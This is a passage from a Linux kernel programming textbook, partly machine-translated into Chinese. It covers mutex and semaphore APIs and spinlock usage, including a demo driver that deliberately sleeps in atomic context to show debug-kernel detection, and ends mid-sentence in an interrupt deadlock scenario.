互斥变量作为练习。作业参见本章末尾的*问题*部分! - -#### 互斥体可中断和可杀死的变体 - -正如您已经了解到的,当驱动程序(或模块)愿意确认任何(用户空间)中断它的信号(并返回`-ERESTARTSYS`告诉内核 VFS 层执行信号处理时,使用`mutex_lock_interruptible()`API;用户空间系统调用将在`errno`设置为`EINTR`时失败)。一个例子可以在内核中的模块处理代码中找到,在`delete_module(2)`系统调用中(它`rmmod(8)`调用): - -```sh -// kernel/module.c -[ ... ] -SYSCALL_DEFINE2(delete_module, const char __user *, name_user, - unsigned int, flags) -{ - struct module *mod; - [ ... ] - if (!capable(CAP_SYS_MODULE) || modules_disabled) - return -EPERM; - [ ... ] - if (mutex_lock_interruptible(&module_mutex) != 0) - return -EINTR; - mod = find_module(name); - [ ... ] -out: - mutex_unlock(&module_mutex); - return ret; -} -``` - -注意失败时 API 如何返回`-EINTR`。(`SYSCALL_DEFINEn()`宏变成系统调用签名;`n`表示该特定系统调用接受的参数数量。此外,请注意功能检查–除非您以 root 用户身份运行或具有`CAP_SYS_MODULE`功能(或模块加载完全禁用),否则系统调用只会返回一个故障(`-EPERM`)。) - -但是,如果您的驱动程序只愿意被致命信号中断(那些*将杀死*用户空间上下文的信号),那么使用`mutex_lock_killable()`应用编程接口(签名与可中断变体的签名相同)。 - -#### 互斥 io 变量 - -`mutex_lock_io()` API 在语法上与`mutex_lock()` API 相同;唯一不同的是,内核认为失败线程的等待时间与等待 I/O 的时间相同(`kernel/locking/mutex.c:mutex_lock_io()`中的代码注释清楚地记录了这一点;看一看)。就会计而言,这很重要。 - -You can find fairly exotic APIs such as `mutex_lock[_interruptible]_nested()` within the kernel, with the emphasis here being on the `nested` suffix. However, note that the Linux kernel does not prefer developers to use nested (or recursive) locking (as we mentioned in the *Correctly using the mutex lock* section). Also, these APIs only get compiled in the presence of the `CONFIG_DEBUG_LOCK_ALLOC` config option; in effect, the nested APIs were added to support the kernel lock validator mechanism. They should only be used in special circumstances (where a nesting level must be incorporated between instances of the same lock type). - -在下一节中,我们将回答一个典型的常见问题:互斥体和信号量对象有什么区别?Linux 甚至有信号量对象吗?请继续阅读了解详情! - -### 信号量和互斥量 - -Linux 内核确实提供了一个信号量对象,以及您可以对(二进制)信号量执行的常见操作: - -* 信号量锁通过`down[_interruptible]()`(和变体)应用编程接口获取 -* 通过`up()`应用编程接口解锁信号量。 - -In general, the semaphore is an older implementation, so it's advised that you use the mutex lock in place of it. - -一个值得关注的常见问题是:*互斥体和信号量有什么区别?*它们在概念上看似相似,但实际上有很大不同: - -* 信号量是互斥体的一种更广义的形式;互斥锁可以被获取(随后释放或解锁)一次,而信号量可以被获取(随后释放)多次。 -* 互斥体用于保护关键部分不被同时访问,而信号量应该作为一种机制来通知另一个等待的任务已经到达某个里程碑(通常,生产者任务通过信号量对象发布信号,消费者任务正在等待接收该信号,以便继续进一步的工作)。 -* 互斥体有锁所有权的概念,只有所有者上下文可以执行解锁;二进制信号量没有所有权。 - -### 优先级反转和实时互斥 - -在使用任何类型的锁定时,需要注意的一点是,您应该仔细设计和编码,以防止可能出现的可怕的*死锁*情况(在*的下一章锁验证器 lock dep–及早捕捉锁定问题*一节中有更多关于这方面的内容)。 - -除了死锁之外,在使用互斥体时还会出现另一种危险的情况:优先级反转(同样,我们不会在本书中深入研究细节)。只要说无界**优先级反转**的情况可能是致命的就够了;最终结果是,产品的高(est)优先级线程在 CPU 之外的时间过长。 - -As I covered in some detail in my earlier book, *Hands-on System Programming with Linux,* it's precisely this priority inversion issue that struck NASA's Mars Pathfinder robot, on the Martian surface no less, back in July 1997! See the *Further reading* section of this chapter for interesting resources about this, something that every software developer should be aware of! - -用户空间 Pthreads 互斥实现当然有**优先级继承** ( **PI** )语义可用。但是在 Linux 内核中呢?为此,Ingo Molnar 提供了基于 PI-futex 的 RT-mutex(一个实时互斥体;实际上,互斥体被扩展为具有 PI 功能。`futex(2)`是一个复杂的系统调用,提供了一个快速的用户空间互斥)。当`CONFIG_RT_MUTEXES`配置选项启用时,这些选项变为可用。与“常规”互斥语义非常相似,RT-mutex API 被提供来初始化,(解除)锁定和销毁 RT-mutex 对象。(这段代码已经从英戈·莫尔纳尔的`-rt`树合并到主线内核中)。就实际使用而言,RT-mutex 用于在内部实现 PI futex(系统调用`futex(2)`本身在内部实现 userspace Pthreads mutex)。除此之外,内核锁定自检代码和 I2C 子系统直接使用 RT-mutex。 - -因此,对于一个典型的模块(或驱动程序)作者来说,这些 API 不会被频繁使用。内核确实在[https://www . kernel . org/doc/Documentation/locking/RT-mutex-design . rst](https://www.kernel.org/doc/Documentation/locking/rt-mutex-design.rst)提供了一些关于 RT-mutex 内部设计的文档(涵盖优先级反转、优先级继承等等)。 - -### 内部设计 - -一句关于内核结构内部实现互斥锁的现实:Linux 试图在可能的情况下实现一种*快速路径*方法。 - -A **fast path** is the most optimized high-performance type of code path; for example, one with no locks and no blocking. The intent is to have code follow this fast path as far as possible. Only when it really isn't possible does the kernel fall back to a (possible) "mid path", and then a "slow path", approach; it still works but is slow(er). - -该快速路径是在没有锁争用的情况下采用的(也就是说,锁一开始就处于解锁状态)。所以,锁很快就被锁上了。但是,如果互斥体已经被锁定,那么内核通常使用中间路径乐观旋转实现,使其更像是混合(互斥体/自旋锁)锁类型。如果连这都做不到,就会遵循“慢路径”——试图获取锁的进程上下文很可能会进入睡眠状态。如果你对它的内部实现感兴趣,更多细节可以在官方内核文档中找到:[https://www . kernel . org/doc/Documentation/locking/mutex-design . rst](https://www.kernel.org/doc/Documentation/locking/mutex-design.rst)。 - -*LDV (Linux Driver Verification) project:* in the companion guide *Linux Kernel Programming -* *Chapter 1*, *Kernel Workspace Setup*, in the section *The LDV – Linux Driver Verification – project*, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules: *Locking a mutex twice or unlocking without prior locking* ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0032](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0032)). It mentions the kind of things you cannot do with the mutex lock (we have already covered this in the *Correctly using the mutex lock* section). The interesting thing here: you can see an actual example of a bug – a mutex lock double-acquire attempt, leading to (self) deadlock – in a kernel driver (as well as the subsequent fix). - -现在您已经理解了如何使用互斥锁,让我们继续看内核中另一个非常常见的锁——自旋锁。 - -# 使用自旋锁 - -在*互斥还是自旋锁?在*部分,您学习了何时使用自旋锁而不是互斥锁,反之亦然。为了方便起见,我们复制了之前在此提供的关键陈述: - -* **临界区是在原子(中断)上下文中运行,还是在无法休眠的进程上下文中运行?**使用自旋锁。 -* **临界区是否在进程上下文中运行,临界区的休眠是否必要?**使用互斥锁。 - -在本节中,我们将考虑您现在已经决定使用自旋锁。 - -## 自旋锁–简单的用法 - -对于所有的 spinlock APIs,您必须包含相关的头文件;也就是`include `。 - -类似于互斥锁,你*在使用前必须*声明并初始化自旋锁到解锁状态。自旋锁是通过名为`spinlock_t`的`typedef`数据类型声明的“对象”(在内部,它是在`include/linux/spinlock_types.h`中定义的结构)。可以通过`spin_lock_init()`宏动态初始化: - -```sh -spinlock_t lock; -spin_lock_init(&lock); -``` - -或者,这可以用`DEFINE_SPINLOCK(lock);`静态执行(声明和初始化)。 - -和互斥一样,在(全局/静态)数据结构中声明自旋锁是为了防止并发访问,这通常是一个非常好的主意。正如我们前面提到的,这个想法经常在内核中使用;例如,表示 Linux 内核上打开文件的数据结构称为`struct file`: - -```sh -// include/linux/fs.h -struct file { - [...] - struct path f_path; - struct inode *f_inode; /* cached value */ - const struct file_operations *f_op; - /* - * Protects f_ep_links, f_flags. - * Must not be taken from IRQ context. - */ - spinlock_t f_lock; - [...] - struct mutex f_pos_lock; - loff_t f_pos; - [...] -``` - -检查一下:对于`file`结构,名为`f_lock`的自旋锁变量是保护`file`数据结构的`f_ep_links`和`f_flags`成员的自旋锁(它还有一个互斥锁来保护另一个成员;即文件的当前寻道位置–`f_pos`)。 - -如何锁定和解锁自旋锁?内核向用户模块/驱动程序作者公开了相当多的 API 变体;旋转(解除)锁定 API 的最简单形式如下: - -```sh -void spin_lock(spinlock_t *lock); -<< ... critical section ... >> -void spin_unlock(spinlock_t *lock); -``` - -请注意,没有等同于`mutex_destroy()`应用编程接口的自旋锁。 - -现在,让我们来看看 spinlock APIs 的运行情况! - -## spin lock–示例驱动程序 - -类似于我们对互斥锁示例驱动程序所做的工作(*互斥锁–示例驱动程序*部分),为了说明自旋锁的简单用法,我们将复制我们早期的`ch12/1_miscdrv_rdwr_mutexlock`驱动程序作为启动模板,然后将其放入新的内核驱动程序中;也就是`ch12/2_miscdrv_rdwr_spinlock`。同样,在这里,我们将只显示该程序和该程序之间差异的一小部分(差异,由`diff(1)`生成的增量)(我们不会显示差异的每一行,只显示相关部分): - -```sh -// location: ch12/2_miscdrv_rdwr_spinlock/ -+#include -[ ... ] --#define OURMODNAME "miscdrv_rdwr_mutexlock" -+#define OURMODNAME "miscdrv_rdwr_spinlock" -[ ... ] -static int ga, gb = 1; --DEFINE_MUTEX(lock1); // this mutex lock is meant to protect the integers ga and gb -+DEFINE_SPINLOCK(lock1); // this spinlock protects the global integers ga and gb -[ ... ] -+/* The driver 'context' data structure; -+ * all relevant 'state info' reg the driver is here. - */ - struct drv_ctx { - struct device *dev; -@@ -63,10 +66,22 @@ - u64 config3; - #define MAXBYTES 128 - char oursecret[MAXBYTES]; -- struct mutex lock; // this mutex protects this data structure -+ struct mutex mutex; // this mutex protects this data structure -+ spinlock_t spinlock; // ...so does this spinlock - }; - static struct drv_ctx *ctx; -``` - -这一次,为了保护我们的`drv_ctx`全局数据结构的成员,我们同时拥有了原始的互斥锁和新的自旋锁。这是相当常见的;互斥锁保护可能发生阻塞的关键部分中的成员使用,而自旋锁用于保护不能发生阻塞(休眠——回想一下它可能休眠)的关键部分中的成员。 - -当然,我们必须确保初始化所有锁,使它们处于解锁状态。我们可以在驱动程序的`init`代码中这样做(继续补丁输出): - -```sh -- mutex_init(&ctx->lock); -+ mutex_init(&ctx->mutex); -+ spin_lock_init(&ctx->spinlock); -``` - -在驱动程序的`open`方法中,我们用自旋锁替换互斥锁,以保护全局整数的增量和减量: - -```sh - * open_miscdrv_rdwr() -@@ -82,14 +97,15 @@ - - PRINT_CTX(); // displays process (or intr) context info - -- mutex_lock(&lock1); -+ spin_lock(&lock1); - ga++; gb--; -- mutex_unlock(&lock1); -+ spin_unlock(&lock1); -``` - -现在,在驱动程序的`read`方法中,我们使用自旋锁代替互斥来保护一些关键部分: - -```sh - static ssize_t read_miscdrv_rdwr(struct file *filp, char __user *ubuf, size_t count, loff_t *off) - { -- int ret = count, secret_len; -+ int ret = count, secret_len, err_path = 0; - struct device *dev = ctx->dev; - -- mutex_lock(&ctx->lock); -+ spin_lock(&ctx->spinlock); - secret_len = strlen(ctx->oursecret); -- mutex_unlock(&ctx->lock); -+ spin_unlock(&ctx->spinlock); -``` - -然而,这还不是全部!继续司机的`read`方法,仔细看看下面的代码和注释: - -```sh -[ ... ] -@@ -139,20 +157,28 @@ - * member to userspace. - */ - ret = -EFAULT; -- mutex_lock(&ctx->lock); -+ mutex_lock(&ctx->mutex); -+ /* Why don't we just use the spinlock?? -+ * Because - VERY IMP! - remember that the spinlock can only be used when -+ * the critical section will not sleep or block in any manner; here, -+ * the critical section invokes the copy_to_user(); it very much can -+ * cause a 'sleep' (a schedule()) to occur. -+ */ - if (copy_to_user(ubuf, ctx->oursecret, secret_len)) { -[ ... ] -``` - -当保护关键部分可能有阻塞 API 的数据时,例如在`copy_to_user()`中,我们*必须*只使用互斥锁!(由于空间不足,我们没有在这里显示更多的代码差异;我们希望您通读 spinlock 示例驱动程序代码,并亲自尝试一下。) - -## 测试-在原子环境中睡眠 - -你已经知道了我们不应该做的一件事是在任何原子或中断上下文中休眠(阻塞)。让我们来测试一下。一如既往,经验方法——你为自己测试而不是依赖他人的经验——是关键! - -我们到底如何测试这个?简单:我们将使用一个简单的整数模块参数`buggy`,当设置为`1`(默认值为`0`)时,它将在自旋锁的临界区内执行一个违反该规则的代码路径。我们将调用`schedule_timeout()`应用编程接口(正如您在[第 5 章](5.html)、*中学习的那样,在*理解如何使用*sleep()阻塞应用编程接口*一节中使用内核定时器、线程和工作队列*)内部调用`schedule()`;这就是我们在内核空间睡觉的方式)。以下是相关代码: - -```sh -// ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c -[ ... ] -static int buggy; -module_param(buggy, int, 0600); -MODULE_PARM_DESC(buggy, -"If 1, cause an error by issuing a blocking call within a spinlock critical section"); -[ ... ] -static ssize_t write_miscdrv_rdwr(struct file *filp, const char __user *ubuf, - size_t count, loff_t *off) -{ - int ret, err_path = 0; - [ ... ] - spin_lock(&ctx->spinlock); - strscpy(ctx->oursecret, kbuf, (count > MAXBYTES ? MAXBYTES : count)); - [ ... ] - if (1 == buggy) { - /* We're still holding the spinlock! */ - set_current_state(TASK_INTERRUPTIBLE); - schedule_timeout(1*HZ); /* ... and this is a blocking call! - * Congratulations! you've just engineered a bug */ - } - spin_unlock(&ctx->spinlock); - [ ... ] -} -``` - -现在,对于有趣的部分:让我们在两个内核中测试这个(有问题的)代码路径:首先,在我们定制的 5.4“调试”内核中(在这个内核中,我们已经启用了几个内核调试配置选项(大部分来自`make menuconfig`中的`Kernel Hacking`菜单),如配套指南 *Linux 内核编程-* *第 5 章*、*编写您的第一个内核模块–LKMs Part 2*中所述),其次,在一个通用发行版(我们通常在 Ubuntu 上运行)5.4 内核上,没有任何相关的内核调试 - -### 在 5.4 调试内核上进行测试 - -首先,确保您已经构建了定制的 5.4 内核,并且启用了所有必需的内核调试配置选项(同样,如果需要,请参考配套指南 *Linux 内核编程-* *第 5 章*、*编写您的第一个内核模块–LKMs 第 2 部分*、*配置调试内核*部分)。然后,启动你的调试内核(这里,它被命名为`5.4.0-llkd-dbg`)。现在,根据这个调试内核构建驱动程序(在`ch12/2_miscdrv_rdwr_spinlock/`中)(驱动程序目录中通常的`make`应该这样做;您可能会发现,在调试内核上,构建速度明显较慢!): - -```sh -$ lsb_release -a 2>/dev/null | grep "^Description" ; uname -r -Description: Ubuntu 20.04.1 LTS -5.4.0-llkd-dbg $ make -[ ... ] -$ modinfo ./miscdrv_rdwr_spinlock.ko -filename: /home/llkd/llkd_src/ch12/2_miscdrv_rdwr_spinlock/./miscdrv_rdwr_spinlock.ko -[ ... ] -description: LLKD book:ch12/2_miscdrv_rdwr_spinlock: simple misc char driver rewritten with spinlocks -[ ... ] -parm: buggy:If 1, cause an error by issuing a blocking call within a spinlock critical section (int) -$ sudo virt-what -virtualbox -kvm -$ -``` - -如您所见,我们正在 x86_64 Ubuntu 20.04 来宾虚拟机上运行定制的 5.4.0“调试”内核。 - -How do you know whether you're running on a **virtual machine** (**VM**) or on the "bare metal" (native) system? `virt-what(1)` is a useful little script that shows this (you can install it on Ubuntu with `sudo apt install virt-what`). - -要运行我们的测试用例,将驱动程序插入内核并将`buggy`模块参数设置为`1`。调用驱动程序的`read`方法(通过我们的用户空间应用;也就是说,`ch12/miscdrv_rdwr/rdwr_test_secret`)不是问题,如下图所示: - -```sh -$ sudo dmesg -C -$ sudo insmod ./miscdrv_rdwr_spinlock.ko buggy=1 -$ ../../ch12/miscdrv_rdwr/rdwr_test_secret -Usage: ../../ch12/miscdrv_rdwr/rdwr_test_secret opt=read/write device_file ["secret-msg"] - opt = 'r' => we shall issue the read(2), retrieving the 'secret' form the driver - opt = 'w' => we shall issue the write(2), writing the secret message - (max 128 bytes) -$ -$ ../../ch12/miscdrv_rdwr/rdwr_test_secret r /dev/llkd_miscdrv_rdwr_spinlock -Device file /dev/llkd_miscdrv_rdwr_spinlock opened (in read-only mode): fd=3 -../../ch12/miscdrv_rdwr/rdwr_test_secret: read 7 bytes from /dev/llkd_miscdrv_rdwr_spinlock -The 'secret' is: - "initmsg" -$ -``` - -接下来,我们通过用户模式 app 向驾驶员发出`write(2)`;这一次,我们的错误代码路径被执行。如您所见,我们在自旋锁临界区(即锁定和解锁之间)发出了`schedule_timeout()`。调试内核将此检测为一个错误,并在内核日志中生成(非常大的)调试诊断(请注意,像这样的错误很可能会挂起您的系统,因此首先在虚拟机上测试它): - -![](img/3c6f7129-6f1c-4a04-9f5c-df29e28b0420.png) - -Figure 6.9 – Kernel diagnostics being triggered by the "scheduling in atomic context" bug we've deliberately hit here - -前面的截图显示了发生的部分情况(在`ch12/2_miscdrv_rdwr_spinlock/2_miscdrv_rdwr_spinlock.c`中查看驱动程序代码时跟随): - -1. 首先,我们有我们的用户模式 app 的流程上下文(`rdwr_test_secre`;注意名称是如何被截断到前 16 个字符的,包括`NULL`字节),这就进入了驱动程序的写方法;也就是`write_miscdrv_rdwr()`。这可以在我们有用的`PRINT_CTX()`宏的输出中看到(我们在这里复制了这条线): - -```sh -miscdrv_rdwr_spinlock:write_miscdrv_rdwr(): 004) rdwr_test_secre :23578 | ...0 /* write_miscdrv_rdwr() */ -``` - -2. 它从用户空间写入器进程中复制新的“秘密”并写入,为 24 字节。 -3. 然后,它“获取”自旋锁,进入临界区,并将该数据复制到我们的驱动程序上下文结构的`oursecret`成员。 -4. 之后,`if (1 == buggy) {`评估为真。 -5. 然后,它调用`schedule_timeout()`,这是一个阻塞 API(就像它内部调用`schedule()`),触发 bug,用红色突出显示: - -```sh -BUG: scheduling while atomic: rdwr_test_secre/23578/0x00000002 -``` - -6. 内核现在转储了大量的诊断输出。首先要转储的是**调用栈**。 - -在*图 6.9* 中可以清楚地看到进程内核模式堆栈的调用堆栈或堆栈回溯(或“调用跟踪”)——这里是我们的用户空间应用`rdwr_drv_secret`,它正在进程上下文中运行我们的(有问题的)驱动程序代码。`Call Trace:`头后的每一行本质上都是内核堆栈上的一个调用帧。 - -作为提示,忽略以`?`符号开始的堆栈帧;它们实际上是有问题的调用帧,很可能是同一内存区域中先前堆栈使用的“剩余部分”。这里值得采取一个与内存相关的小转移:这是堆栈分配真正的工作方式;堆栈内存不是在每次调用帧的基础上分配和释放的,因为那样会非常昂贵。只有当一个堆栈内存页面耗尽时,一个新页面才会自动出现故障!(回想一下我们在配套指南 *Linux 内核编程-* *第 9 章*、*模块作者的内核内存分配–第 2 部分*中的讨论,在*内存分配和按需分页*一节中。)所以,现实是,当代码从函数中调用和返回时,同一个堆栈内存页往往会不断被重用。 - -不仅如此,出于性能原因,每次都不会擦除内存,导致之前帧的残羹剩饭经常出现。(他们可以随便“糟蹋”画面。然而,幸运的是,现代堆栈调用帧跟踪算法通常能够出色地找出正确的堆栈跟踪。) - -遵循堆栈跟踪自下而上(*总是自下而上*读取),我们可以看到,不出所料,我们的用户空间`write(2)`系统调用(它经常显示为(类似于)`SyS_write`或者,在 x86 上显示为`__x64_sys_write`,虽然在*图 6.9* 中不可见)调用了内核的 VFS 层代码(这里可以看到`vfs_write()`,它调用了`__vfs_write()`,这进一步调用了我们的驱动程序的写方法;也就是`write_miscdrv_rdwr()`!正如我们所知,这段代码调用了我们称之为`schedule_timeout()`的错误代码路径,该路径又调用了`schedule()`(和`__schedule()`),导致整个 **`BUG: scheduling while atomic`** bug 被触发。 - -`scheduling while atomic`代码路径的格式是从下面一行代码中检索出来的,可以在`kernel/sched/core.c`中找到: - -```sh -printk(KERN_ERR "BUG: scheduling while atomic: %s/%d/0x%08x\n", prev->comm, prev->pid, preempt_count()); -``` - -有意思!在这里,您可以看到它打印了以下字符串: - -```sh - BUG: scheduling while atomic: rdwr_test_secre/23578/0x00000002 -``` - -在`atomic:`之后,它打印进程名——PID——然后调用`preempt_count()`内联函数,该函数打印*抢占深度*;抢占深度是一个计数器,每次锁定时递增,每次解锁时递减。所以,如果它是正的,这意味着代码在一个关键的或原子的部分;在这里,它表现为价值`2`。 - -请注意,这个错误在这个测试运行期间被巧妙地解决了,正是因为`CONFIG_DEBUG_ATOMIC_SLEEP`调试内核配置选项被打开了。它之所以打开,是因为我们正在运行一个定制的“调试内核”(内核版本 5.4.0)!配置选项详细信息(您可以在`Kernel Hacking`菜单下的`make menuconfig`中交互查找和设置该选项)如下: - -```sh -// lib/Kconfig.debug -[ ... ] -config DEBUG_ATOMIC_SLEEP - bool "Sleep inside atomic section checking" - select PREEMPT_COUNT - depends on DEBUG_KERNEL - depends on !ARCH_NO_PREEMPT - help - If you say Y here, various routines which may sleep will become very - noisy if they are called inside atomic sections: when a spinlock is - held, inside an rcu read side critical section, inside preempt disabled - sections, inside an interrupt, etc... -``` - -### 在 5.4 非调试发行版内核上进行测试 - -作为对比测试,我们现在将在我们的 Ubuntu 20.04 LTS 虚拟机上执行同样的操作,我们将通过其默认的通用“发行版”5.4 Linux 内核进行引导,该内核通常是*而不是配置为“调试”内核*(这里`CONFIG_DEBUG_ATOMIC_SLEEP`内核配置选项尚未设置)。 - -首先,我们插入我们的(有问题的)驱动程序。然后,当我们运行我们的`rdwr_drv_secret`进程以便向驱动程序写入新的秘密时,错误的代码路径被执行。然而,这一次,内核*没有崩溃,也没有报告任何问题*(查看`dmesg(1)`输出验证了这一点): - -```sh -$ uname -r -5.4.0-56-generic -$ sudo insmod ./miscdrv_rdwr_spinlock.ko buggy=1 -$ ../../ch12/miscdrv_rdwr/rdwr_test_secret w /dev/llkd_miscdrv_rdwr_spinlock "passwdcosts500bucksdude" -Device file /dev/llkd_miscdrv_rdwr_spinlock opened (in write-only mode): fd=3 -../../ch12/miscdrv_rdwr/rdwr_test_secret: wrote 24 bytes to /dev/llkd_miscdrv_rdwr_spinlock -$ dmesg -[ ... ] -[ 65.420017] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): LLKD misc driver (major # 10) registered, minor# = 56, dev node is /dev/llkd_miscdrv_rdwr -[ 81.665077] miscdrv_rdwr_spinlock:miscdrv_exit_spinlock(): miscdrv_rdwr_spinlock: LLKD misc driver deregistered, bye -[ 86.798720] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): VERMAGIC_STRING = 5.4.0-56-generic SMP mod_unload -[ 86.799890] miscdrv_rdwr_spinlock:miscdrv_init_spinlock(): LLKD misc driver (major # 10) registered, minor# = 56, dev node is /dev/llkd_miscdrv_rdwr -[ 130.214238] misc llkd_miscdrv_rdwr_spinlock: filename: "llkd_miscdrv_rdwr_spinlock" - wrt open file: f_flags = 0x8001 - ga = 1, gb = 0 -``` - -```sh -[ 130.219233] misc llkd_miscdrv_rdwr_spinlock: stats: tx=0, rx=0 -[ 130.219680] misc llkd_miscdrv_rdwr_spinlock: rdwr_test_secre wants to write 24 bytes -[ 130.220329] misc llkd_miscdrv_rdwr_spinlock: 24 bytes written, returning... (stats: tx=0, rx=24) -[ 131.249639] misc llkd_miscdrv_rdwr_spinlock: filename: "llkd_miscdrv_rdwr_spinlock" - ga = 0, gb = 1 -[ 131.253511] misc llkd_miscdrv_rdwr_spinlock: stats: tx=0, rx=24 -$ -``` - -我们知道我们的写方法有一个致命的错误,但它似乎没有以任何方式失败!这真的很糟糕;正是这种事情会错误地让你认为你的代码很好,而实际上有一个讨厌的 bug 静静地躺在那里,等待某一天突然出现! - -为了帮助我们调查引擎盖下到底发生了什么,让我们再次运行我们的测试应用(T0)进程,但这次是通过强大的`trace-cmd(1)`工具(Ftrace 内核基础设施上非常有用的包装器;以下是它的截断输出: - -The Linux kernel's **Ftrace** infrastructure is the kernel's primary tracing infrastructure; it provides a detailed trace of pretty much every function that's been executed in the kernel space. Here, we are leveraging Ftrace via a convenient frontend: the `trace-cmd(1)` utility. These are indeed very powerful and useful debug tools; we've mentioned several others in the companion guide *Linux Kernel Programming -* *Chapter 1*, *Kernel Workspace Setup*, but unfortunately, the details are beyond the scope of this book. Check out the man pages to learn more. - -```sh -$ sudo trace-cmd record -p function_graph -F ../../ch12/miscdrv_rdwr/rdwr_test_secret w /dev/llkd_miscdrv_rdwr_spinlock "passwdcosts500bucks" -$ sudo trace-cmd report -I -S -l > report.txt -$ sudo less report.txt -[ ... ] -``` - -输出可以在下面的截图中看到: - -![](img/63b163f7-5ce7-45f1-907e-b10a06909ef3.png) - -Figure 6.10 – A partial screenshot of the trace-cmd(1) report output - -如您所见,来自我们的用户模式应用的`write(2)`系统调用如预期的那样变成了`vfs_write()`,它本身(在安全检查之后)调用`__vfs_write()`,反过来调用我们的驱动程序的写方法–函数`write_miscdrv_rdwr()`! - -在(大的)Ftrace 输出流中,我们可以看到`schedule_timeout()`函数确实被调用了: - -![](img/1cd0401a-b6a2-43e1-998d-10994995cdd6.png) - -Figure 6.11 – A partial screenshot of the trace-cmd(1) report output, showing the (buggy!) calls to schedule_timeout() and schedule() within an atomic context - -`schedule_timeout()`后的几行输出,我们可以清晰的看到`schedule()`被调用!于是,我们就有了:我们的司机(当然是故意的)做了一些错误的事情——在原子环境中称之为`schedule()`。但是,这里的关键点是,在这个 Ubuntu 系统上,我们运行的是*而不是*的“调试”内核,这就是为什么我们有以下内容: - -```sh -$ grep DEBUG_ATOMIC_SLEEP /boot/config-5.4.0-56-generic -# CONFIG_DEBUG_ATOMIC_SLEEP is not set -$ -``` - -这就是为什么这个 bug 没有被报告!这证明了在“调试”内核上运行测试用例——实际上是执行内核开发——的有用性,这是一个启用了许多调试功能的内核。(作为练习,如果您还没有这样做,准备一个“调试”内核,并在其上运行这个测试用例。) - -**Linux Driver Verification (LDV) project**: In the companion guide *Linux Kernel Programming -* *Chapter 1*, *Kernel Workspace Setup*, in the section *The LDV – Linux Driver Verification – project*, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules: *Usage of spin lock and unlock functions* ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0039](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0039)). It mentions key points with regard to the correct usage of spinlocks; interestingly, here, it shows an actual bug instance in a driver where a spinlock was attempted to be released twice – a clear violation of the locking rules, leading to an unstable system. - -# 锁定和中断 - -到目前为止,我们已经学习了如何使用互斥锁,对于自旋锁,我们还学习了基本的`spin_[un]lock()`API。spinlock 上还有一些其他的 API 变体,我们将在这里研究更常见的变体。 - -为了确切地理解为什么您可能需要用于自旋锁的其他 API,让我们来看一个场景:作为驱动程序作者,您发现您正在处理的设备断言硬件中断;相应地,您为它编写中断处理程序。现在,在为您的驱动程序实现`read`方法时,您发现其中有一个非阻塞临界区。这很容易处理:正如您所了解的,您应该使用自旋锁来保护它。太好了。但是如果在`read`方法的关键部分,设备的硬件中断触发了呢?如你所知,*硬件中断抢占一切*;因此,控制将转到中断处理程序代码,抢占驱动程序的`read`方法。 - -这里的关键问题是:这是一个问题吗?这个答案既取决于你的中断处理器和你的`read`方法在做什么,也取决于它们是如何实现的。让我们想象几个场景: - -* 中断处理程序(理想情况下)只使用局部变量,所以即使`read`方法在临界区,也真的没关系;中断处理将很快完成,控制权将交还给被中断的任何一方(同样,事情不止如此;如您所知,任何现有的下半部分,如小任务或 softirq,也可能需要执行)。换句话说,正因为如此,这种情况下真的没有种族。 -* 中断处理程序正在处理(全局)共享可写数据,但不是您的读取方法正在使用的数据项。因此,同样,与读取的代码没有冲突和竞争。当然,你应该意识到的是,中断代码*确实有一个关键部分,它必须受到保护*(也许用另一个自旋锁)。 -* 中断处理程序正在处理您的`read`方法正在使用的同一个全局共享可写数据。在这种情况下,我们可以看到一场比赛的潜力肯定存在,所以我们需要锁定! - -让我们关注第三种情况。显然,我们应该使用自旋锁来保护中断处理代码中的关键部分(回想一下,当我们处于任何类型的中断上下文中时,都不允许使用互斥锁)。此外,*除非我们在`read`方法和中断处理程序的代码路径中使用完全相同的自旋锁*,否则它们根本不会受到保护!(使用锁时要小心;花时间仔细思考你的设计和代码。) - -让我们试着让它更实际一点(现在用伪代码):假设我们有一个名为`gCtx`的全局(共享)数据结构;我们在驱动程序内的`read`方法和中断处理程序(hardirq 处理程序)中对其进行操作。因为它是共享的,所以它是一个关键部分,因此需要保护;由于我们在原子(中断)上下文中运行,我们*不能使用互斥体*,所以我们必须使用自旋锁来代替(这里,自旋锁变量被称为`slock`)。下面的伪代码显示了这种情况下的一些时间戳(`t1, t2, ...`): - -```sh -// Driver read method ; WRONG ! driver_read(...) << time t0 >> -{ - [ ... ] - spin_lock(&slock); - <<--- time t1 : start of critical section >> -... << operating on global data object gCtx >> ... - spin_unlock(&slock); - <<--- time t2 : end of critical section >> - [ ... ] -} << time t3 >> -``` - -以下伪代码用于设备驱动程序的中断处理程序: - -```sh -handle_interrupt(...) << time t4; hardware interrupt fires! >> -{ - [ ... ] - spin_lock(&slock); - <<--- time t5: start of critical section >> - ... << operating on global data object gCtx >> ... - spin_unlock(&slock); - <<--- time t6 : end of critical section >> - [ ... ] -} << time t7 >> -``` - -这可以用下图来概括: - -![](img/3d9d5f60-bb83-44a5-a694-2a05f28df4f8.png) - -Figure 6.12 – Timeline – the driver's read method and hardirq handler run sequentially when working on global data; there's no issues here - -幸运的是,一切都很顺利——“幸运”是因为硬件中断在`read`功能的关键部分完成后触发了*。当然,我们不能指望运气作为我们产品的独家安全标志!硬件中断是异步的;如果它在一个不太合适的时间(对我们来说)启动了呢——比如说,当`read`方法的关键部分在时间 T1 和 t2 之间运行的时候?那么,spinlock 是不是要做好它的工作,保护我们的数据呢?* - -此时,中断处理程序的代码将尝试获取相同的自旋锁(`&slock`)。等一下-它无法“获取”它,因为它当前已被锁定!在这种情况下,它会“旋转”,实际上是在等待解锁。但是怎么才能解锁呢?它不能,我们有它:一个**(自我)僵局**。 - -有趣的是,自旋锁更直观,在 SMP(多核)系统上也有意义。我们假设`read`方法运行在 CPU 核心 1 上;中断可以在另一个中央处理器内核上传递,比如说内核 2。中断代码路径将在 CPU 内核 2 上的锁上“旋转”,而内核 1 